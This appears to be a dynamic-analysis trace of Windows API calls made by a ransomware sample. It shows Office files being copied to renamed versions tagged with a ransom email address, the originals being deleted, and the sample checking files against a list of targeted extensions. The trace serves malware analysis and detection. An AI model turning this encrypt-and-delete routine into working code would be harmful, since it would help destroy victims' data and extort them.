ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.154] WriteFile (in: hFile=0x39c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0264.154] SetEndOfFile (hFile=0x39c) returned 1 [0264.154] CloseHandle (hObject=0x39c) returned 1 [0264.154] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.154] SetEndOfFile (hFile=0x3d8) returned 1 [0264.156] CloseHandle (hObject=0x3d8) returned 1 [0264.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg")) returned 1 [0264.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.157] lstrlenW (lpString=".doc") returned 4 [0264.157] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0264.157] lstrlenW (lpString=".docx") returned 5 [0264.157] lstrcmpiW (lpString1=".docx", lpString2="D.CFG") returned -1 [0264.157] lstrlenW (lpString=".pdf") returned 4 [0264.157] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0264.157] lstrlenW (lpString=".xls") returned 4 [0264.157] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0264.157] lstrlenW (lpString=".xlsx") returned 5 [0264.157] lstrcmpiW (lpString1=".xlsx", lpString2="D.CFG") returned -1 [0264.157] lstrlenW (lpString=".ppt") returned 4 [0264.157] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0264.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.157] lstrlenW (lpString=".zip") returned 4 [0264.157] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0264.157] lstrlenW (lpString=".rar") returned 4 [0264.157] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0264.157] lstrlenW (lpString=".bz2") returned 4 [0264.157] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0264.157] lstrlenW (lpString=".7z") returned 3 [0264.158] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0264.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.158] lstrlenW (lpString=".dbf") returned 4 [0264.158] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0264.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.158] lstrlenW (lpString=".1cd") returned 4 [0264.158] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0264.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.158] lstrlenW (lpString=".jpg") returned 4 [0264.158] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0264.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.158] lstrlenW (lpString=".doc") returned 4 [0264.158] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0264.158] lstrlenW (lpString=".docx") returned 5 [0264.158] lstrcmpiW (lpString1=".docx", lpString2="D.CFG") returned -1 [0264.158] lstrlenW (lpString=".pdf") returned 4 [0264.158] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0264.158] lstrlenW (lpString=".xls") returned 4 [0264.158] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0264.158] lstrlenW (lpString=".xlsx") returned 5 [0264.158] lstrcmpiW (lpString1=".xlsx", lpString2="D.CFG") returned -1 [0264.158] lstrlenW (lpString=".ppt") returned 4 [0264.158] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0264.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.158] lstrlenW (lpString=".zip") returned 4 [0264.158] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0264.158] lstrlenW (lpString=".rar") returned 4 [0264.158] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0264.158] lstrlenW (lpString=".bz2") returned 4 [0264.158] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0264.158] lstrlenW (lpString=".7z") returned 3 [0264.158] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0264.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.158] lstrlenW (lpString=".dbf") returned 4 [0264.158] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0264.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.158] lstrlenW (lpString=".1cd") returned 4 [0264.159] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0264.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG") returned 65 [0264.159] lstrlenW (lpString=".jpg") returned 4 [0264.159] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0264.159] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0264.159] lstrlenW (lpString="GFX.DLL") returned 7 [0264.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.397] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2542440) returned 1 [0264.398] CloseHandle (hObject=0x1f8) returned 1 [0264.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll")) returned 0x20 [0264.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.429] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\gfx.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0264.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.439] lstrlenW (lpString=".doc") returned 4 [0264.439] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0264.439] lstrlenW (lpString=".docx") returned 5 [0264.439] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0264.439] lstrlenW (lpString=".pdf") returned 4 [0264.439] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0264.439] lstrlenW (lpString=".xls") returned 4 [0264.439] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0264.439] lstrlenW (lpString=".xlsx") returned 5 [0264.439] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0264.439] lstrlenW (lpString=".ppt") returned 4 [0264.439] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0264.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.440] lstrlenW (lpString=".zip") returned 4 [0264.440] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0264.440] lstrlenW (lpString=".rar") returned 4 [0264.440] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0264.440] lstrlenW (lpString=".bz2") returned 4 [0264.440] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0264.440] lstrlenW (lpString=".7z") returned 3 [0264.440] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0264.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.440] lstrlenW (lpString=".dbf") returned 4 [0264.440] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0264.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.440] lstrlenW (lpString=".1cd") returned 4 [0264.440] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0264.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.440] lstrlenW (lpString=".jpg") returned 4 [0264.440] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0264.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.440] lstrlenW (lpString=".doc") returned 4 [0264.440] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0264.440] lstrlenW (lpString=".docx") returned 5 [0264.440] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0264.440] lstrlenW (lpString=".pdf") returned 4 [0264.440] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0264.440] lstrlenW (lpString=".xls") returned 4 [0264.440] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0264.440] lstrlenW (lpString=".xlsx") returned 5 [0264.440] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0264.440] lstrlenW (lpString=".ppt") returned 4 [0264.440] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0264.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.440] lstrlenW (lpString=".zip") returned 4 [0264.440] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0264.440] lstrlenW (lpString=".rar") returned 4 [0264.440] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0264.441] lstrlenW (lpString=".bz2") returned 4 [0264.441] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0264.441] lstrlenW (lpString=".7z") returned 3 [0264.441] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0264.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.441] lstrlenW (lpString=".dbf") returned 4 [0264.441] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0264.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.441] lstrlenW (lpString=".1cd") returned 4 [0264.441] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0264.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\GFX.DLL") returned 50 [0264.441] lstrlenW (lpString=".jpg") returned 4 [0264.441] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0264.441] lstrcmpiW (lpString1=".fdt", lpString2=".Q1G") returned -1 [0264.441] lstrlenW (lpString="Customer Support.fdt") returned 20 [0264.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.443] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=131614) returned 1 [0264.443] CloseHandle (hObject=0x390) returned 1 [0264.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt")) returned 0x20 [0264.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.444] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.444] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0264.447] GetLastError () returned 0x0 [0264.447] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x2021e, lpOverlapped=0x0) returned 1 [0264.451] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x20220, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x20220, lpOverlapped=0x0) returned 1 [0264.453] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.453] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0264.454] SetEndOfFile (hFile=0x3e0) returned 1 [0264.454] CloseHandle (hObject=0x3e0) returned 1 [0264.454] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.454] SetEndOfFile (hFile=0x390) returned 1 [0264.601] CloseHandle (hObject=0x390) returned 1 [0264.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\customer support.fdt")) returned 1 [0264.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.626] lstrlenW (lpString=".doc") returned 4 [0264.626] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.626] lstrlenW (lpString=".docx") returned 5 [0264.626] lstrcmpiW (lpString1=".docx", lpString2="t.fdt") returned -1 [0264.626] lstrlenW (lpString=".pdf") returned 4 [0264.626] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.626] lstrlenW (lpString=".xls") returned 4 [0264.626] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.626] lstrlenW (lpString=".xlsx") returned 5 [0264.626] lstrcmpiW (lpString1=".xlsx", lpString2="t.fdt") returned -1 [0264.626] lstrlenW (lpString=".ppt") returned 4 [0264.626] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.626] lstrlenW (lpString=".zip") returned 4 [0264.626] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.626] lstrlenW (lpString=".rar") returned 4 [0264.626] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.626] lstrlenW (lpString=".bz2") returned 4 [0264.626] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.626] lstrlenW (lpString=".7z") returned 3 [0264.626] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.627] lstrlenW (lpString=".dbf") returned 4 [0264.627] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.627] lstrlenW (lpString=".1cd") returned 4 [0264.627] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.627] lstrlenW (lpString=".jpg") returned 4 [0264.627] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.627] lstrlenW (lpString=".doc") returned 4 [0264.627] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.627] lstrlenW (lpString=".docx") returned 5 [0264.627] lstrcmpiW (lpString1=".docx", lpString2="t.fdt") returned -1 [0264.627] lstrlenW (lpString=".pdf") returned 4 [0264.627] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.627] lstrlenW (lpString=".xls") returned 4 [0264.627] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.627] lstrlenW (lpString=".xlsx") returned 5 [0264.627] lstrcmpiW (lpString1=".xlsx", lpString2="t.fdt") returned -1 [0264.627] lstrlenW (lpString=".ppt") returned 4 [0264.627] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.627] lstrlenW (lpString=".zip") returned 4 [0264.627] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.627] lstrlenW (lpString=".rar") returned 4 [0264.627] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.627] lstrlenW (lpString=".bz2") returned 4 [0264.627] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.627] lstrlenW (lpString=".7z") returned 3 [0264.627] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.627] lstrlenW (lpString=".dbf") returned 4 [0264.627] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.628] lstrlenW (lpString=".1cd") returned 4 [0264.628] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Customer Support.fdt") returned 117 [0264.628] lstrlenW (lpString=".jpg") returned 4 [0264.628] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.628] lstrcmpiW (lpString1=".FDT", lpString2=".Q1G") returned -1 [0264.628] lstrlenW (lpString="POLICIES.FDT") returned 12 [0264.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.657] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=97645) returned 1 [0264.657] CloseHandle (hObject=0x3d8) returned 1 [0264.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt")) returned 0x20 [0264.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.709] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.709] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.709] GetLastError () returned 0x0 [0264.709] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x17d6d, lpOverlapped=0x0) returned 1 [0264.719] WriteFile (in: hFile=0x39c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x17d70, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x17d70, lpOverlapped=0x0) returned 1 [0264.721] ReadFile (in: hFile=0x3d8, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.721] WriteFile (in: hFile=0x39c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.722] SetEndOfFile (hFile=0x39c) returned 1 [0264.722] CloseHandle (hObject=0x39c) returned 1 [0264.722] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.722] SetEndOfFile (hFile=0x3d8) returned 1 [0264.726] CloseHandle (hObject=0x3d8) returned 1 [0264.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\policies.fdt")) returned 1 [0264.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.809] lstrlenW (lpString=".doc") returned 4 [0264.809] lstrcmpiW (lpString1=".doc", lpString2=".FDT") returned -1 [0264.809] lstrlenW (lpString=".docx") returned 5 [0264.809] lstrcmpiW (lpString1=".docx", lpString2="S.FDT") returned -1 [0264.809] lstrlenW (lpString=".pdf") returned 4 [0264.809] lstrcmpiW (lpString1=".pdf", lpString2=".FDT") returned 1 [0264.809] lstrlenW (lpString=".xls") returned 4 [0264.809] lstrcmpiW (lpString1=".xls", lpString2=".FDT") returned 1 [0264.809] lstrlenW (lpString=".xlsx") returned 5 [0264.809] lstrcmpiW 